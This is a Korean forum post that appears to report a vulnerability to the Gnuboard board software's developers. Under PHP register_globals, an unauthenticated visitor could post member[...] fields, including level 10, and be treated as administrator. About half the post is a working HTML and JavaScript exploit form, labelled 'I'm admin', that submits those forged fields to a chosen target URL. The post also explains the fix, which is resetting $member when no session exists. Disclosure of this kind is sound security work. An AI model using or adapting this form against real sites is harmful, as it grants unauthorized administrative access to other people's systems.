참 로그인 안한 상태로 테스트 해야 되겠죠?^^ 그래야 $member값이 할당이 안되므로.....

<script language="JavaScript">
<!--
function hack(f)
{
if( f.act.value ==''){
alert('전송주소입력혀~');
return false;
}
f.action=f.act.value;
send=confirm(f.action+'\n에 관리자로 접속하시겠습니까?');
if(!send)return false;
else return true;
}

//-->
</script>
<form name=frm onsubmit='return hack(this);' target=imain method=post>
<input type="hidden" name="member[mb_id]" value='kagla' >
<input type="hidden" name="member[mb_level]" value='10' >
<input type="hidden" name="member[mb_name]" value='관리자' >
<input type="hidden" name="member[mb_email]" value='*** 개인정보보호를 위한 이메일주소 노출방지 ***'>
<input type=text name=act size=50 value=''>
<input type=submit value='난관리자'>
</form>
<iframe width=1000 height=900 name=imain></iframe>
대충 이런식으로 정보가 더 필요하면 <input> 값으로 더 써줍니다.
뭐 대단한 것은 아니라 잠시 신경을 못써서 버그가 생긴것 같습니다.

하여간 그누보드 매우 잘쓰고 있어서 다시한번 감사드립니다.

같은 도메인이나  아니면 다른 도메인이나 상관이 없습니다 .
수정하셨다면 이제는 권한을 획득이 불가능하겠지요...

전에는 이런식으로 되었습니다.
로그인을 하지 않았을때는 세션이 없는 상태이므로 lib.inc.php에서 $member값은 할당이 되지 않습니다.
그리고 매번 아이디에 대한 패쓰워드를 체크하지는 않기때문에 이 $member 값에 여기의 관리자 아이디를 form 값으로 넘겨 줍니다. post방식으로 하면 로그에는 더 안남겠지요?
그런데 게시판에서는 권한을 체크하므로 폼값으로는 아이디 레벨 메일 값등 모든값들을 넘겨서 $member의 값으로 넘기는것이 가능합니다.
이미 globals=off 로 설정이 되었다면 안되겠지만 그렇지않다면 이렇게 할당하여서 권한이 없는 게시판도 접근가능하므로 위에서 메번 폼값으로 넘어오는것을 방지하기위해 초기화 시켜주는 것입니다. 위에서 회원세션이 없으면 $member값을 ''으로 바꿔지겠죠? 참고로 제가 테스트한 폼을 올려 놓겠습니다.....